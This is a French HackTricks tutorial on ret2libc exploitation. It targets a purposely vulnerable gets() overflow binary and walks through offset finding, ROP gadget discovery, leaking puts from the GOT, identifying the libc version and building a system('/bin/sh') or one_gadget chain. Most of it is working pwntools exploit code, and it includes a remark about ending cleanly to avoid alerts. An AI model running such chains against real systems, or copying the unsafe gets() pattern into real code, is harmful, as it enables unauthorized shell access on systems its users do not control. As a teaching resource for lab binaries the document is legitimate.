Fuite de l'adresse libc avec ROP

Reading time: 10 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Résumé rapide

  1. Trouver l'offset de débordement
  2. Trouver le gadget POP_RDI, les gadgets PUTS_PLT et MAIN
  3. Utiliser les gadgets précédents pour fuir l'adresse mémoire de puts ou d'une autre fonction libc et trouver la version de libc (téléchargez-le)
  4. Avec la bibliothèque, calculer le ROP et l'exploiter

Autres tutoriels et binaires pour pratiquer

Ce tutoriel va exploiter le code/binaire proposé dans ce tutoriel : https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Autres tutoriels utiles : https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Code

Nom de fichier : vuln.c

c
#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - Modèle de fuite de LIBC

Téléchargez l'exploit et placez-le dans le même répertoire que le binaire vulnérable et fournissez les données nécessaires au script :

Leaking libc - template

1- Trouver l'offset

Le modèle a besoin d'un offset avant de continuer avec l'exploit. Si un offset est fourni, il exécutera le code nécessaire pour le trouver (par défaut OFFSET = "") :

bash
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Exécutez python template.py, une console GDB s'ouvrira avec le programme en cours de plantage. Dans cette console GDB, exécutez x/wx $rsp pour obtenir les octets qui allaient écraser le RIP. Enfin, obtenez le décalage en utilisant une console python :

python
from pwn import *
cyclic_find(0x6161616b)

Après avoir trouvé le décalage (dans ce cas 40), changez la variable OFFSET à l'intérieur du modèle en utilisant cette valeur.
OFFSET = "A" * 40

Une autre façon serait d'utiliser : pattern create 1000 -- exécuter jusqu'à ret -- pattern seach $rsp depuis GEF.

2- Trouver des Gadgets

Maintenant, nous devons trouver des gadgets ROP à l'intérieur du binaire. Ces gadgets ROP seront utiles pour appeler puts afin de trouver la libc utilisée, et plus tard pour lancer l'exploit final.

python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

Le PUTS_PLT est nécessaire pour appeler la fonction puts.
Le MAIN_PLT est nécessaire pour rappeler la fonction main après une interaction pour exploiter le débordement à nouveau (tours d'exploitation infinies). Il est utilisé à la fin de chaque ROP pour rappeler le programme.
Le POP_RDI est nécessaire pour passer un paramètre à la fonction appelée.

À cette étape, vous n'avez pas besoin d'exécuter quoi que ce soit car tout sera trouvé par pwntools pendant l'exécution.

3- Trouver la bibliothèque libc

Il est maintenant temps de trouver quelle version de la libc est utilisée. Pour ce faire, nous allons leaker l'adresse en mémoire de la fonction puts et ensuite nous allons chercher dans quelle version de la bibliothèque se trouve la version de puts à cette adresse.

python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Pour ce faire, la ligne la plus importante du code exécuté est :

python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

Cela enverra quelques octets jusqu'à ce que l'écrasement du RIP soit possible : OFFSET.
Ensuite, il définira l'adresse du gadget POP_RDI afin que la prochaine adresse (FUNC_GOT) soit enregistrée dans le registre RDI. C'est parce que nous voulons appeler puts en passant l'adresse de PUTS_GOT car l'adresse en mémoire de la fonction puts est enregistrée à l'adresse pointée par PUTS_GOT.
Après cela, PUTS_PLT sera appelé (avec PUTS_GOT à l'intérieur du RDI) afin que puts lise le contenu à l'intérieur de PUTS_GOT (l'adresse de la fonction puts en mémoire) et l'affiche.
Enfin, la fonction main est appelée à nouveau afin que nous puissions exploiter le débordement à nouveau.

De cette manière, nous avons trompé la fonction puts pour afficher l'adresse en mémoire de la fonction puts (qui se trouve dans la bibliothèque libc). Maintenant que nous avons cette adresse, nous pouvons chercher quelle version de libc est utilisée.

Comme nous exploitons un binaire local, il n'est pas nécessaire de déterminer quelle version de libc est utilisée (il suffit de trouver la bibliothèque dans /lib/x86_64-linux-gnu/libc.so.6).
Mais, dans le cas d'une exploitation à distance, je vais expliquer ici comment vous pouvez le trouver :

3.1- Recherche de la version de libc (1)

Vous pouvez rechercher quelle bibliothèque est utilisée sur la page web : https://libc.blukat.me/
Cela vous permettra également de télécharger la version découverte de libc

3.2- Recherche de la version de libc (2)

Vous pouvez également faire :

  • $ git clone https://github.com/niklasb/libc-database.git
  • $ cd libc-database
  • $ ./get

Cela prendra un certain temps, soyez patient.
Pour que cela fonctionne, nous avons besoin de :

  • Nom du symbole libc : puts
  • Adresse libc divulguée : 0x7ff629878690

Nous pouvons déterminer quelle libc est très probablement utilisée.

bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

Nous obtenons 2 correspondances (vous devriez essayer la deuxième si la première ne fonctionne pas). Téléchargez la première :

bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

Copiez la libc depuis libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so vers notre répertoire de travail.

3.3- Autres fonctions à leak

python
puts
printf
__libc_start_main
read
gets

4- Trouver l'adresse libc basée et exploiter

À ce stade, nous devrions connaître la bibliothèque libc utilisée. Comme nous exploitons un binaire local, j'utiliserai simplement : /lib/x86_64-linux-gnu/libc.so.6

Donc, au début de template.py, changez la variable libc en : libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Définir le chemin de la bibliothèque quand on le connaît

En donnant le chemin à la bibliothèque libc, le reste de l'exploit va être automatiquement calculé.

À l'intérieur de la fonction get_addr, l'adresse de base de libc va être calculée :

python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

note

Notez que l'adresse de base finale de libc doit se terminer par 00. Si ce n'est pas votre cas, vous pourriez avoir fuité une bibliothèque incorrecte.

Ensuite, l'adresse de la fonction system et l'adresse de la chaîne "/bin/sh" vont être calculées à partir de l'adresse de base de libc et données la bibliothèque libc.

python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Enfin, l'exploit d'exécution /bin/sh va être préparé et envoyé :

python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Expliquons ce dernier ROP.
Le dernier ROP (rop1) a de nouveau appelé la fonction principale, puis nous pouvons exploiter à nouveau le débordement (c'est pourquoi l'OFFSET est ici encore). Ensuite, nous voulons appeler POP_RDI en pointant vers l'adresse de "/bin/sh" (BINSH) et appeler la fonction system (SYSTEM) car l'adresse de "/bin/sh" sera passée en paramètre.
Enfin, l'adresse de la fonction exit est appelée afin que le processus se termine proprement et qu'aucune alerte ne soit générée.

De cette façon, l'exploit exécutera un _/bin/sh_** shell.**

4(2)- Utiliser ONE_GADGET

Vous pouvez également utiliser ONE_GADGET pour obtenir un shell au lieu d'utiliser system et "/bin/sh". ONE_GADGET trouvera à l'intérieur de la bibliothèque libc un moyen d'obtenir un shell en utilisant juste une adresse ROP.
Cependant, normalement, il y a certaines contraintes, les plus courantes et faciles à éviter sont comme [rsp+0x30] == NULL. Comme vous contrôlez les valeurs à l'intérieur de RSP, vous devez simplement envoyer quelques valeurs NULL supplémentaires afin d'éviter la contrainte.

python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

FICHIER D'EXPLOITATION

Vous pouvez trouver un modèle pour exploiter cette vulnérabilité ici :

Leaking libc - template

Problèmes courants

MAIN_PLT = elf.symbols['main'] non trouvé

Si le symbole "main" n'existe pas. Alors vous pouvez trouver où se trouve le code principal :

python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

et définissez l'adresse manuellement :

python
MAIN_PLT = 0x401080

Puts non trouvé

Si le binaire n'utilise pas Puts, vous devriez vérifier s'il utilise

sh: 1: %s%s%s%s%s%s%s%s: non trouvé

Si vous trouvez cette erreur après avoir créé tous les exploits : sh: 1: %s%s%s%s%s%s%s%s: non trouvé

Essayez de soustraire 64 octets à l'adresse de "/bin/sh" :

python
BINSH = next(libc.search("/bin/sh")) - 64

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks